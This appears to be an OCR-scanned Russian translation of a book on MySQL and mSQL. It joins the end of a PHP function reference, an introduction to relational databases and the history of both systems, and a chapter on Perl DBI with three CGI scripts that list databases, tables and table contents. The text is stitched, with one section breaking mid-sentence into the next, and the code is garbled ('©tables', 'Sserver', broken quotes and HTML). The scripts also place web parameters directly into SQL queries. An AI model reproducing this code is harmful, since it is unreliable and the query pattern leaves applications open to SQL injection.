    Записывает сообщение message в системный журнал с уровнем level.

    system

    $results = system($command);

    $results = system($command, $return_value);

    Выполняет указанную внешнюю команду command и возвращает все результаты. Если задан второй аргумент, туда записывается возвращаемое значение (код возврата) команды.

    tan

    $value = tan($number);

    Возвращает тангенс аргумента number (в радианах).

    tempnam

    $filename = tempnam($path, $prefix);

    Возвращает имя файла с префиксом prefix, который будет уникальным в каталоге, указанном в path.

    time

    $time = time();

    Возвращает текущее время в стандартном формате времени Unix (число секунд после 1 января 1970 года).

    umask

    $umask = umask();

    umask($umask);

    Возвращает текущую маску umask, если аргумент не указан. Если аргумент umask указан, устанавливает umask в указанное значение (которое должно быть восьмеричным числом).

    uniqid

    $result = uniqid();

    Возвращает значение, уникальность которого по отношению к другим значениям, возвращаемым повторными вызовами этой функции, гарантирована.

    unlink

    unlink($filename);

    Удаляет указанный файл.

    unset

    unset($variable);

    Сбрасывает значение указанной переменной, которая может быть элементом массива. При применении данной функции к массиву удаляется весь массив.

    urldecode

    $decoded_string = urldecode($string);

    Возвращает копию строки string, в которой все экранированные спецсимволы URL раскодируются в их значения. Это делается автоматически для всех входящих данных.

    urlencode

    $encoded_string = urlencode($string);

    Возвращает копию строки string, в которой все спецсимволы закодированы для использования в URL.

    usleep

    usleep($ms);

    Задерживет синтаксический анализ скрипта на заданное в ms число микросекунд.

    virtual

    virtual($filename);

    Подключает файл filename точно так же, как в обычном файле HTML это делает тег MySQL & mSQL

    MySQL & mSQL

    Что такое база данных?

    База данных - это, попросту говоря, собрание данных. Примером неэлектронной базы данных является общественная библиотека. В библиотеке хранятся книги, периодические издания и прочие документы. Когда нужно отыскать в библиотеке какие-либо данные, вы просматриваете каталог либо указатель периодики или даже справляетесь у библиотекаря. Другой пример - неупорядоченная стопка бумаг, которая может находиться у вас на столе. Когда нужно что-то найти, вы роетесь в этой кипе, пока не найдете нужный листок. Эта база данных может работать (или нет), поскольку ее размер крайне мал. Стопка бумаг, несомненно, будет неэффективна для большого объема данных, такого, например, как библиотечное собрание. Библиотека без картотеки, индекса периодики и библиотекаря останется базой данных, только ей нельзя будет пользоваться. Поэтому, чтобы библиотека имела какую-то ценность, она должна быть организована каким-либо способом. Вашей стопкой бумаг можно было бы пользоваться более уверенно при наличии упорядоченной системы их хранения (тогда, возможно, вы не потеряли бы тот телефонный номер!). Поэтому, уточняя наше определение, мы скажем, что база данных - организованное собрание данных.

    У библиотеки и стопки бумаг много сходства. Та и другая являются базами данных, состоящими из документов. Нет никакого смысла, однако, соединять их вместе, поскольку ваши документы интересны только вам, а библиотека содержит документы, представляющие общий интерес. Каждая из баз данных отвечает определенному назначению и организована в соответствии с этим назначением. Поэтому мы еще несколько улучшим наше определение: база данных есть собрание данных, которые организованы и хранятся в соответствии с некоторым назначением.

    У традиционных бумажных баз данных много недостатков. Им требуется огромное физическое пространство. Библиотеки занимают целые

    здания, и поиск в них осуществляется относительно медленно. Каждый работавший в библиотеке знает, что для поиска порой требуется немало времени. Библиотеки также утомительно содержать в порядке, и для поддержания соответствия содержимого полок и каталогов требуется чрезмерно много времени. Хранение базы данных в электронном виде помогает решать эти вопросы.

    MySQL и mSQL не являются базами данных. Фактически они являются компьютерными программами, позволяющими пользователю создавать, поддерживать базы данных и управлять ими. Такой тип программного обеспечения известен как Системы управления базами данных (СУБД). СУБД действует как посредник между физической базой данных и ее пользователями.

    Когда вы впервые начинали работать с данными в электронной форме, вы почти наверняка использовали плоский файл. Файл файловой системы является электронной версией стопки бумаг на вашем столе. Вероятно, вы пришли к заключению, что этот тип специальной электронной базы больше не отвечает вашим потребностям. СУБД является следующим логическим шагом для удовлетворения ваших потребностей при хранении информации, и MySQL и mSQL являются первыми шагами в мир систем управления реляционными базами данных.



    Что такое реляционная база данных?

    Согласно нашему определению, база данных является организованным собранием данных. Реляционная база данных организует данные в таблицы. Вероятно, проще проиллюстрировать понятие таблицы, чем пытаться объяснить его. Таблица 1-1 является примером таблицы, которая может появиться в базе данных по книгам.

    Таблица 1-1. Таблица книг



    ISBN


    Название


    Автор


    0-446-67424-9
    0-201-54239-Х
    0-87685-086-7
    0-941423-38-7


    L.A. Confidential
    An Introduction to Database Systems
    Post Office
    The Man with the Golden Arm


    James Ellroy
    C.J. Date
    Charles Bukowski
    Nelson Algren


    В таблице 1-2 и таблице 1-3 показаны две таблицы, которые могут появиться в базе данных Национальной Баскетбольной Ассоциации.

    Таблица 1-2. Таблица команд НБА



    № команды


    Название


    Тренер


    1


    Golden State Warriors


    P.J. Carlesimo


    2


    Minnesota Timberwolves


    Flip Saunders


    3


    L.A. Lakers


    Kurt Rambis


    4


    Indiana Pacers


    Larry Bird



    Таблица 1-3. Таблица игроков НБА



    Имя


    Положение


    № команды


    Rik Smits


    Центровой


    4


    Kevin Garnett


    Нападающий


    2


    Kobe Bryant


    Защитник


    3


    Reggie Miller


    Защитник


    4


    Stephen Marbury


    Защитник


    2


    Shaquille O'Neal


    Центровой


    3


    Позже мы разберемся в специфике таблиц, а пока обратите внимание на некоторые особенности этих примеров. У каждой таблицы есть название, несколько колонок и строки, содержащие данные в каждой из этих колонок. Реляционная база данных представляет все ваши данные в таких таблицах, как эти, и обеспечивает операции извлечения, генерирующие новые таблицы из уже имеющихся. В результате пользователь видит всю базу данных в виде таблиц.

    СУБД для реляционной базы данных часто называется Реляционной системой управления базами данных (РСУБД). MySQL и mSQL являются примерами РСУБД.

    Какое отношение ко всему этому имеет SQL? Нам необходимо иметь некий способ взаимодействия с базой данных. Нужно определять таблицы, а также извлекать, добавлять, обновлять и удалять данные. SQL (Structured Query Language - язык структурированных запросов) является компьютерным языком, используемым для выражения операций с базой данных, организованной в реляционной форме (то есть в виде таблиц). SQL является принятым в отрасли стандартом языка, на котором говорит большинство программистов баз данных и который используется большинством пакетов РСУБД. Как следует из их названий, механизм работы с MySQL и mSQL основан на SQL. Из-за своей простоты, однако, они поддерживают лишь подмножество современного стандарта SQL - SQL2. Мы обсудим, в чем именно состоит отличие поддерживаемого MySQL и mSQL диалекта SQL от стандарта, в последующих главах.



    в течение многих лет используют

    Введение в реляционные базы данных


    Большие корпоративные вычислительные центры в течение многих лет используют сложные и дорогие программные продукты для работы с базами данных. Использование этих обладающих полным набором возможностей и тщательно оптимизированных программных систем является единственным способом управления теми объемами корпоративной информации, которые существуют в больших компаниях.

    Традиционно пользователи домашних компьютеров вообще не нуждались в базах данных. Они хранят свои данные - адреса, списки дел и т. д. - в маленьких файлах или специализированных покупных программах, вроде электронных таблиц или телефонных справочников.

    Но появилась новая категория пользователей компьютеров, находящихся между двумя этими крайностями. Они поддерживают информационные массивы средних размеров, которые требуются в небольших организациях, таких как вновь образовавшиеся предприятия и некоммерческие организации. Иногда эти пользователи не столько малы, сколько являются территориально самостоятельными частями более крупной компании, либо этими новыми пользователями являются просто частные лица, заинтересованные в поддержке сложных, но частных данных, таких, например, как перечень песен любимых ансамблей, который можно выложить на персональную страницу в Интернет. Если вы тот человек, которому нужна база данных, готовый немного потрудиться, чтобы установить ее, и не хотите тратить шестизначные суммы на программный продукт вкупе с отрядом поддерживающих его программистов, то эта книга - для вас.

    Эта книга вводит вас в мир разработки малых баз данных с помощью двух популярных продуктов, MySQL и mSQL. Мы начнем с введения в реляционные базы данных и проектирование приложений в реляцион-

    ном мире. Если у вас есть опыт работы с реляционными базами данных и их проектированием, вы можете сразу перейти к главе 4, "MySQL" или главе 5, "mSQL", где мы углубляемся в детали практической работы с MySQL и mSQL. Но, если вы собираетесь это сделать, обратите внимание, что в конце данной главы мы приводим краткое введение и сравнение основных возможностей этих продуктов. В оставшейся части книги в основном излагается применение MySQL и mSQL для создания и поддержки того типа приложений, которые важны для таких пользователей, как вы.



    MySQL и mSQL

    MySQL и mSQL - очень схожие, дешевые, компактные и быстрые базы данных. В этой книге описаны обе эти базы данных, что связано с их крайним сходством. Однако между ними есть и очень важные различия, о которых мы также обязательно расскажем. Обе системы поддерживают программирование на С, Perl, Java (через API Java DataBase Connectivity - JDBC) и Python. Благодаря инструментальным средствам, которые MySQL и mSQL предоставляют для этих языков, можно создавать полноценные клиент-серверные приложения и интегрированные с базами данных веб-сайты, не тратя на это состояния. Это приятное известие для маленьких фирм, публикующих данные в Интернет, и всех тех, кто разрабатывает небольшие клиент-серверные приложения и не может позволить себе приобрести коммерческие продукты.

    Дешевизна, а в некоторых случаях бесплатность, MySQL и mSQL не дается даром. Ни одна из этих СУБД полностью не поддерживает SQL. В них отсутствуют некоторые возможности, которые могут понадобиться при создании более сложных приложений. В некоторых случаях приходится также несколько больше потрудиться, разрабатывая клиентскую часть, чтобы достичь того, что дорогие базы данных предоставили бы вам даром. Однако мы научим вас, как делать переносимые приложения MySQL и mSQL, чтобы вы попробовали использовать какие-либо базы данных с более мощными внутренними механизмами, если это вам понадобится, и вам не пришлось бы переписывать весь код, чтобы перейти на большую базу данных. Для понимания того, что же могут предложить эти две СУБД, лучше всего кратко рассмотреть их историю.

    История mSQL

    До 1994 года вам не удалось бы обзавестись РСУБД с поддержкой SQL, не потратив при этом изрядной суммы денег. На рынке тогда доминировали Oracle, Sybase и Informix. Эти системы управления базами данных были разработаны для обработки огромных объемов данных с очень сложными взаимосвязями. Они были мощными, обладали множеством возможностей, а также требовали больших вычислительных ресурсов и были дороги. В те времена еще нельзя было за $2000 купить сервер с 200-MHz Pentium. Ресурсы, требуемые для этих СУБД, стоили десятки тысяч долларов.


    У больших корпораций и крупных университетов не возникало проблем с тем, чтобы потратить за год несколько миллионов долларов на такие комплекты серверов и СУБД. Малым организациям и частным пользователям приходилось довольствоваться слабыми настольными приложениями. Несколько дешевых СУБД с архитектурой клиент/ сервер в то время существовало, но ни в одной из них не использовался SQL в качестве языка запросов. Наиболее примечательной из них была Postgres, имевшая общее происхождение с коммерческой базой данных Ingres. К несчастью, Postgres требовала примерно тех же ресурсов, что и ее коммерческие аналоги, не давая преимущества использования SQL в качестве языка запросов. В то время в Postgres использовалась разновидность языка QUEL, называвшаяся PostQUEL.

    Дэвид Хьюз

    Часть диссертации, которую Давид Хьюз (David Hughes) (известный также как Bamby) писал в Университете Бонд в Австралии, была посвящена разработке системы мониторинга и управления группой систем из одного или нескольких мест. Проект носил название Minerva Network Management System. Главным элементом Minerva была база данных для хранения данных обо всех компьютерах в сети. Будучи студентом университета и не имея доступа к серверам, на которых работали большие коммерческие базы данных, Хьюз решил, что Postgres - это очевидное решение, вполне отвечающее его потребностям.

    Его коллеги предложили сделать SQL стандартным языком запросов для Minerva. В конце концов, SQL был и остается самым общепринятым стандартом языка запросов. Основываясь на SQL, Minerva могла бы использоваться в любой точке света, где установлена поддерживающая SQL СУБД. Иными словами, SQL предоставлял возможности Minerva гораздо более широкому кругу пользователей, нежели PostQUEL, ограничивавший его пользователями Postgres. В конечном итоге оказалось, что сегодня даже Postgres поддерживает SQL.

    Желание пользоваться стандартом SQL, с одной стороны, и отсутствие доступа к базе данных, поддерживающей SQL, - с другой, поставили Хьюза в трудное положение. Если использовать в Minerva язык запросов, основанный на SQL, то не удастся найти СУБД с соответствующим механизмом работы. Не имея возможности приобрести дорогую РСУБД, Хьюз нашел творческое решение проблемы: выход в том, чтобы создать программу, "на лету" транслирующую запросы SQL в запросы PostQUEL. Такая программа должна была перехватывать все


    посылаемые Minerva предложения SQL, преобразовывать их в PostQUEL и результат пересылать дальше в Postgres. Хьюз написал такую программу и назвал ее miniSQL, или mSQL.

    От транслятора PostQUEL к РСУБД

    В течение некоторого времени такая конфигурация удовлетворяла потребности Хьюза. Для Minerva было безразлично, какая СУБД используется, если только она понимает SQL, и она считала, что Postgres понимает SQL, поскольку в середине находился mSQL, производивший трансляцию в PostQUEL. К несчастью, по мере роста Minerva ее работа стала значительно замедляться. Стало ясно, что ни Postgres, ни другая большая РСУБД не смогут поддерживать тот небольшой набор возможностей, который требовался для Minerva, на тех ограниченных ресурсах, которые были ей доступны. Например, для Minerva требовалось одновременное подключение к нескольким базам данных. Для поддержки этого Postgres требовал одновременного запуска нескольких экземпляров* сервера базы данных. Кроме того, несколько потенциальных участников проекта не могли принять в нем участие, поскольку Postgres не поддерживал их системы, а они не могли позволить себе купить дорогую СУБД с поддержкой SQL.

    Оказавшись перед лицом этих проблем, Хьюз пересмотрел свое отношение к Postgres. По своим размерам и сложности она, возможно, превышала потребности Minerva. Большинство запросов, генерируемых Minerva, представляли собой простые операторы INSERT, DELETE и SELECT. Все остальные возможности, имевшиеся в Postgres и снижавшие производительность, просто не требовались для Minerva.

    У Хьюза уже был mSQL, осуществлявший трансляцию SQL. Ему требовалось только добавить хранилище данных и возможности извлечения данных, чтобы получить сервер базы данных, удовлетворявший его потребности. Эта эволюция привела к существующему на сегодняшний день mSQL.

    История MySQL

    Было бы ошибкой рассматривать MySQL просто как ответ на недостатки mSQL. Ее изобретатель Майкл Видениус (известный также как Monty) из шведской компании ТсХ работает с базами данных с 1979 г. До недавнего времени Видениус был в ТсХ только разработчиком. В 1979 г. он разработал для внутрифирменного использования средство управления базами данных под названием UNIREG. После 1979 года UNIREG была переписана на нескольких разных языках и расширена для поддержки больших баз данных.


    Каждый из процессов, в котором выполняется одна и та же-программа, называется экземпляром этой программы, поскольку он занимает память точно так же, как экземпляр переменной занимает память программы.

    В 1994 г. ТсХ стала разрабатывать приложения для WWW, используя для поддержки этого проекта UNIREG. К несчастью, UNIREG из-за больших накладных расходов не могла успешно использоваться для динамической генерации веб-страниц. И ТсХ начала присматриваться к SQL и mSQL. В то время, однако, mSQL существовала только в виде релизов 1.x. Как мы уже говорили, версии mSQL 1.x не поддерживали никаких индексов и поэтому по производительности уступали UNIREG.

    Видениус связался с Хьюзом, автором mSQL, чтобы узнать, не заинтересуется ли тот подключением mSQL к обработчику В+ ISAM в UNIREG. Хьюз, однако, к тому времени уже далеко продвинулся на пути к mSQL 2 и создал средства для работы с индексами. ТсХ решила создать сервер баз данных, более соответствующий ее нуждам.

    В ТсХ работали неглупые люди, которые не стали изобретать велосипед. Они взяли за основу UNIREG и использовали утилиты сторонних разработчиков для mSQL, число которых все увеличивалось, написав для своей системы API, который, по крайней мере первоначально, почти совпадал с API для mSQL. В результате любой пользователь mSQL, желавший перейти на более богатый возможностями сервер баз данных ТсХ, должен был внести в свой код очень незначительные изменения. Тем не менее исходный код новой базы данных был полностью оригинальным.

    К маю 1995 г. у ТсХ имелась база данных, удовлетворявшая внутренние потребности компании, - MySQL 1.0. Бизнес-партнер фирмы Давид Аксмарк (David Axmark) из Detron HB стал убеждать ТсХ представить свой сервер в Интернет. Цель представления сервера в Интернет -использование бизнес-модели, пионером которой был Аладдин Петер Дейч (Aladdin Peter Deutsch). Результатом стали очень гибкие авторские права, которые делают MySQL "более бесплатной", чем mSQL.

    Что касается названия, то Видениус говорит об этом так: "До конца не ясно, откуда идет название MySQL. В ТсХ базовый каталог, а также значительное число библиотек и утилит в течение десятка лет имели префикс "mу". Вместе с тем мою дочь (на несколько лет младше) тоже зовут Май (My). Поэтому остается тайной, какой из двух источников дал название MySQL".


    С момента публикации MySQL в Интернет она перенесена на многие UNIX-системы, под Win32 и OS/2. ТсХ считает, что MySQL использует около 500 000 серверов.

    Основные изменения, внесенные в текущую рекомендованную версию 3.22:

  • Усиленная защита.

  • Ускорение соединений, анализа запросов SQL и улучшенный оптимизатор запросов.

  • Поддержка большего числа операционных систем.

  • INSERT DELAYED.

  • Команды GRANT и REVOKE.

  • CREATE INDEX и DROP INDEX.

  • Уровни блокировки HIGH_PRIORITY и LOW_PRIORITY для операторов SELECT, INSERT, UPDATE и DELETE.

  • Новая команда FLUSH, применимая к TABLES, HOSTS, LOGS и PRIVILEGES.

  • Новая команда KILL в SQL, действующая, как kill в Unix или msqladmin.

  • Поддержка выражений в предложении НAVIN G.

  • Сжатие протокола клиент/сервер.

  • Сохранение параметров программы по умолчанию в файлах my.cnf. Основные изменения в разрабатываемой версии 3.23:

  • Таблицы, переносимые напрямую между различными ОС и ЦП.

  • Временные таблицы и таблицы HEAP, хранимые только в ОЗУ.

  • Поддержка больших файлов (63 бит) на операционных системах, которые их поддерживают.

  • Подлинные поля чисел с плавающей точкой.

  • Комментарии к таблицам.

  • Шаблон процедуры ANALYSE().

  • Функции, определяемые пользователем.

  • Значительное ускорение обработки SELECT DISTINCT.

  • COUNT(DISTINCT).

    Дальнейшие усовершенствования, запланированные в 3.23, включают в себя поддержку вложенных операторов SELECT и поддержку репликации баз данных, обеспечивающей распределение нагрузки между несколькими серверами и восстановление в случае аппаратных сбоев.

    MySQL является очень быстро развивающейся платформой баз данных благодаря существованию армии добровольцев-программистов, помогающих строить ее дальше на крепком основании. Поэтому не следует удивляться, если что-либо, верное в момент написания этой главы, больше не соответствует действительности.

    MySQL или mSQL?

    Конечно, мы еще не дали вам сведений, достаточных для принятия решения. Чтобы полностью оценить существующие на сегодняшний день различия между двумя продуктами, необходимо прочесть эту книгу и понять тонкости, представленные нами здесь. На первый взгляд кажется несомненным, что предпочтение следует отдать MySQL. mSQL с течением времени отстала и сейчас уступает в скорости работы. Дэвид Хьюз неудовлетворен и работает над версией 2.1, в которой должны быть устранены многие нынешние недостатки. А в это же время MySQL движется вперед со скоростью света.


    Выбор mSQL может быть продиктован имеющимся у вас инструментарием. Поскольку mSQL существует дольше, вам может оказаться легче найти инструмент, отвечающий вашим специфическим потребностям. К примеру, в момент написания этой книги только для mSQL имелся драйвер JDBC, соответствующий JDBC 2.0. Конечно, положение изменится к тому времени, когда вы прочтете книгу. Тем не менее при выборе базы данных следует руководствоваться соображениями такого типа.

    Независимо от того, какую базу данных вы выберете, вы окажетесь в выигрыше. Обе эти базы данных обеспечат большее быстродействие, чем при любом другом выборе. Для объективного сравнения этих баз данных друг с другом и другими продуктами рекомендуем посетить страницу http://www.mysql.com/crash-me-choose.htmy. Она находится на домашней странице MySQL, но представленные на ней критерии можно свободно проверить, а сама страница сделана очень хорошо.

    Приложения и базы данных

    Согласно нашему определению, база данных есть организованное собрание данных, служащее определенной цели. Простого наличия СУБД недостаточно, чтобы у вашей базы данных появилось назначение. Назначение определяется тем, как вы используете свои данные. Представьте себе библиотеку, в которой никто никогда не читает книги. Будет немного смысла в хранении и организации всех этих книг, если они никогда не используются. Теперь представьте себе библиотеку, в которой нельзя поменять книги или добавить новые. Полезность библиотеки как базы данных будет со временем уменьшаться, поскольку невозможно заменить устаревшие книги и добавить новые. Короче, библиотека существует для того, чтобы люди могли читать книги и находить нужную им информацию.

    Базы данных существуют для того, чтобы люди могли с ними взаимодействовать. В случае электронных баз данных взаимодействие происходит не непосредственно с базой данных, а косвенно — с помощью программного обеспечения. До появления Всемирной паутины (World Wide Web) базы данных обычно использовались большими корпорациями для поддержки различных деловых функций - бухгалтерии и финансов, контроля поставок и складского учета, планирования производства, учета персонала и т. п. Интернет и более сложные задачи домашних вычислений содействовали перемещению потребностей в использовании баз данных за пределы больших корпораций.

    Базы данных и WWW

    Область, в которой развитие баз данных имело особо взрывной характер, и где отличились MySQL и mSQL, - это разработка приложений для Интернет. По мере роста спроса на все более сложные и надежные приложения для Интернет растет и спрос на базы данных. База данных сервера может поддерживать многие важные функции в Интернет. Фактически, любое содержание веб-страниц может управляться базой данных.

    Рассмотрим в качестве примера торговца по каталогу, который хочет опубликовать свой каталог в WWW и принимать заказы через Интернет. Если опубликовать каталог в виде HTML-файла, то кому-то придется вручную редактировать каталог всякий раз, когда добавляется новый товар или изменяется цена. Если же вместо этого держать данные каталога в реляционной базе данных, то становится возможной публикация изменений в каталоге в реальном масштабе времени путем простого изменения в базе данных сведений о товаре и цене. Становится также возможной интеграция каталога с имеющимися системами электронной обработки заказов. Таким образом, использование базы данных для управления таким веб-сайтом дает очевидные преимущества как продавцу, так и покупателю.


    Вот как веб-страница обычно взаимодействует с базой данных. База данных находится на вашем веб-сервере или другой машине, с которой ваш сервер может обмениваться данными (хорошая СУБД позволяет легко организовать такое распределение обязанностей). Вы помещаете на веб-страницу форму, в которую пользователь вводит свой запрос или данные, которые нужно передать. После передачи формы на сервер последний запускает написанную вами программу, которая

    извлекает переданные пользователем данные. Эти программы чаще всего делаются в виде CGI-сценариев или серверных приложений на Java, но возможно также встраивание программы прямо в HTML-страницу. Все эти методы мы рассмотрим в нашей книге.

    Теперь ваша программа знает, какие данные нужны пользователю или что он хочет внести в базу данных. Программа формирует команду SQL для выборки или изменения данных, а база данных чудесным образом делает все остальное. Результаты, получаемые от базы данных, ваша программа может оформить в виде новой HTML-страницы и отправить обратно пользователю.



    DBI

    Рекомендуемым методом доступа к базам данных MySQL и mSQL из Perl является интерфейс DBD/DBI. DBD/DBI означает DataBase Dependent/DataBase Independent (Зависимый от базы данных/Независимый от базы данных). Название связано с двухъярусной реализацией интерфейса. В нижнем ярусе находится зависимый от базы данных уровень. На нем существуют свои модули для каждого типа базы данных, доступного из Perl. Поверх этого уровня находится независимый от базы данных уровень. Это тот интерфейс, которым вы пользуетесь при доступе к базе данных. Выгода такой схемы в том, что программисту нужно знать только один API уровня независимости от базы данных. Когда появляется новая база данных, кому-нибудь нужно лишь написать для нее модуль DBD (зависимый), и она станет доступна всем программистам, использующим DBD/DBI.

    Как и в любом модуле Perl, для получения доступа нужно указать DBI в директиве use:

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use DBI;

    DBIПри запуске программ Perl для MySQL/mSQL следует всегда задавать аргумент командной строки -w. Благодаря этому DBI будет перенаправлять все специфические для MySQL и mSQL сообщения об ошибках на STDERR, и вы сможете увидеть ошибки, вызванные работой с базой данных, не прибегая к явной проверке их в программе.

    Всякое взаимодействие между Perl, с одной стороны, и MySQL и mSQL - с другой, производится с помощью объекта, известного как описатель базы данных (handle). Описатель базы данных (database handle) - это объект, представленный в Perl как скалярная ссылка и реализующий все методы, используемые для связи с базой данных. Одновременно можно открыть любое число описателей базы данных, ограничение накладывают только ресурсы системы. Метод connect() использует для создания описателя формат соединения DBI:servertype:database:hostname:port (имя узла и порта необязательны), дополнительными аргументами служат имя пользователя и пароль:

    my $dbh = DBI->connect( 'DBI:mysql:mydata ', undef, Lindef);

    my $dbh = DBI->connect( 'DBI:mSQL:mydata:myserver', undef, undef);


    my $dbh = DBI->connect( 'DBI:mysql:mydata', 'me', 'mypass")',

    Атрибут servertype является именем специфического для базы данных DBD-модуля, в нашем случае "mysql" или "mSQL" (обратите внимание на точное использование регистра). В первом варианте создается соединение с сервером MySQL на локальной машине через сокет Unix. Это наиболее эффективный способ связи с базой данных, который должен использоваться при соединении на локальном сервере. Если указано имя узла, оно используется для соединения с сервером на этом узле через стандартный порт, если только не задан и номер порта. Если при соединении с сервером MySQL вы не указываете имя пользователя и пароль, то пользователь, выполняющий программу, должен обладать достаточными привилегиями в базе данных MySQL. Для баз данных mSQL имя пользователя и пароль не должны указываться.

    DBIВ Perl 5 используются два соглашения по вызову модулей. В объектно-ориентированном синтаксисе для ссылки на метод определенного класса используется символ стрелки "->" (как в DBI->connect). Другой метод - использование непрямого синтаксиса, в котором за именем метода следует имя класса, а затем - аргументы. В последнем примере метод connect следовало бы записать как connect DBI 'DBI:mysql:mydata', "me', ' mypass . В ранних версиях Msql.pm использовался исключительно непрямой синтаксис, и требовалось придерживаться метода использования заглавных букв, обусловленного mSQL С API. Поэтому значительная часть старого кода MsqlPerl содержит строки типа SelectDB $dbh ' test' там, где можно было бы написать проще: $dbh->selectdb(' test') . Если вы еще не догадались, то сообщаем, что мы неравнодушны к объектно-ориентированному синтаксису, хотя бы потому, что использование стрелки делает ясной связь между классом и методом.

    Как только вы соединились с сервером MySQL или mSQL, описатель базы данных - во всех примерах этого раздела $dbh - становится шлюзом к базе данных. Например, так готовится запрос SQL:


    $dbh->prepare($query);

    DBIПри работе с mSQL для одного описателя базы данных можно одновременно выбрать только одну базу данных, это ограничение накладывается сервером mSQL. Однако в любой момент можно сменить текущую базу данных, повторно вызвав connect . При работе с MySQL можно включать в запрос другие базы данных, явно указывая их имена. Кроме того, и в MySQL, и в mSQL при необходимости одновременного доступа к нескольким базам данных можно создать несколько описателей базы данных и использовать их совместно.

    В главе 21 "Справочник по Perl", описаны все методы и переменные, содержащиеся как в DBI, так и в Mysql.pm и Msql.pm.

    Для иллюстрации использования DBI рассмотрим следующие простые программы. В примере 10-1 datashow.cgi принимает в качестве параметра имя узла; при отсутствии параметра принимается имя "local-host". Затем программа выводит список всех баз данных, имеющихся на этом узле.

    Пример 10-1. Программа CGI datashow.cgi показывает все базы данных, имеющиеся на сервере MySQL или mSQL

    #!/usr/bin/perl -w

    use strict;

    use CGI qw( standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($server, $sock, $host);

    my $output = new CGI;

    $server = param('server') or Sserver = '';

    # Подготовить DBD-драйвер для MySQL

    my $driver = DBI->install_driver('mysql');

    my @databases = $driver->func($server, '_ListDBs');

    # Если параметр @databases неопределен, предполагаем,

    # что на этом узле не запущен

    # сервер MySQL. Однако это может быть вызвано

    # другими причинами. Полный текст сообщения об ошибке

    # можно получить, проверив $DBI::errmsg.

    if (not @databases) {

    print header, start_html('title'=>"Данные no Sserver", 'BGCOLOR'=>'white');

    print<$server

    Ha Sserver , по-видимому, не запущен сервер mSQL. END_OF_HTML

    exit(0); }

    print header, start_html('title'=>" Данные по $host",


    'BGCOLOR'=>'white'); print <$host



    Соединение с $host на сокете $sock.



    Базы данных:



    END_OF_HTML

    foreach(@databases) {

    print "
  • $_\n"; }

    print <




    HTML

    exit(0)

    В примере 10-2 tableshow.cgi принимает в качестве параметров имя сервера базы данных (по умолчанию "localhost") и имя базы данных на этом сервере. Затем программа показывает все таблицы, имеющиеся в этой базе данных.

    Пример 10-2. Программа CGI tableshow.cgi выводит список всех таблиц в базе данных

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль Msql.pm use DBI; CGI::use_named_parameters(1);

    my ($db);

    my $output = new CGI;

    $db = param('db')'or die("He указана база данных!");

    # Connect to the requested server.

    my $dbh = DBI->connect("DBI:mysql:$db;$server", undef, undef);

    # Если не существует $dbh, значит, попытка соединения с сервером

    # базы данных не удалась. Возможно, сервер не запущен,

    # или не существует указанной базы данных, if (not $dbh) {

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white');

    print <$host

    $db



    Попытка соединения не удалась по следующей причине:
    $DBI::errstr



    END_OF_HTML

    exit(0); }

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white'); print <$host

    $db



    <р>

    Таблицы:



    END_OF_HTML

    # $dbh->listtable возвращает массив таблиц,

    # имеющихся в текущей базе данных.

    my ©tables = $dbh->func( '_ListTables' );

    foreach (@tables) {

    print "
  • $_\n"; }

    print <

    END_OF_HTML

    exit(0);

    И наконец, пример 10- 3 показывает, как вывести все сведения о некоторой таблице.

    Пример 10-3. Программа CGI tabledump.cgi выводит сведения об указанной таблице

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($db,Stable);

    my Soutput = new CGI;

    $server = param('server') or $server = ";

    $db = param('db') or die("He указана база данных !");

    # Соединиться с указанным сервером.

    my $dbh = DBI->connect("DBI:mysql:$db:$server", undef, undef);

    # Готовим запрос к серверу, требующий все данные

    # таблицы.

    my $table_data = $dbh->prepare("select * from Stable");

    # Посылаем запрос серверу.

    $table_data->execute;

    # Если возвращаемое значение не определено, таблица не существует

    # или пуста; мы не проверяем, что из двух верно.

    if (not $table_data) {

    print header, startjtml( 'title'=>

    "Данные по $host => $db => Stable", 'BGCOLOR'=>'white');

    prin<

    $host



    $db



    Таблицы'Stable' нет в $db на $host.



    END_OF_HTML

    exit(0); }

    # Теперь мы знаем, что есть данные для выдачи. Сначала выведем

    # структуру таблицы.

    print header, start_html( title'=>"Данные по $host => $db => $table",

    'BGCOLOR'=>'white');

    print <$host

    $db

    $table







    <ТН>Поле<ТН>Тип<ТН>Размер<ТН>МОТ NULL END_OF_HTML

    If $table_data->name возвращает ссылку

    # на массив полей таблицы.

    my ©fields = @{$table_data->NAME};

    # $table_data->type возвращает ссылку на массив типов полей.

    # Возвращаемые типы имеют стандартные обозначения SQL,

    # а не специфические для MySQL.


    my @types = @{$table_data->TYPE};

    # $table_data-> is_not_null возвращает ссылку на массив типа Boolean,

    # указывающий, в каких полях установлен флат 'NOT NULL'.

    my @>not_null = @{$table_data->is_not_null};

    # $table_data->length возвращает ссылку на массив длин полей. Они

    фиксированные

    # для типов INT и REAL, но переменые (заданные при создании

    # таблицы) для CHAR.

    my @length = @{$table_data->length};

    # Все перечисленные выше массивы возвращаются в одном и том же порядке,

    # поэтому $fields[0], $types[0], $ndt_null[0] and $length[0] относятся к одному полю.

    foreach $field (0..$#fields) {

    print "\n";

    print "\n"; }

    print <



    Data




    END_OF_HTML

    # Теперь мы будем построчно перемещаться по данным с помощью DBI::fetchrow_array().

    # Мы сохраним данные в массиве в таком же порядке, как и в информационных

    # массивах (§fields, @types, etc,), которые мы создали раньше.

    while(my(@data)=$table_data->fetchrow_array) {

    print "
  • \n ";

    for (0..$#data) {

    print "
  • $fields[$_] => $data[$_]
  • \n"; }

    print ""; }

    print "END_OF_HTML;





    END_OF_HTML



    Язык программирования Perl превратился из

    Perl

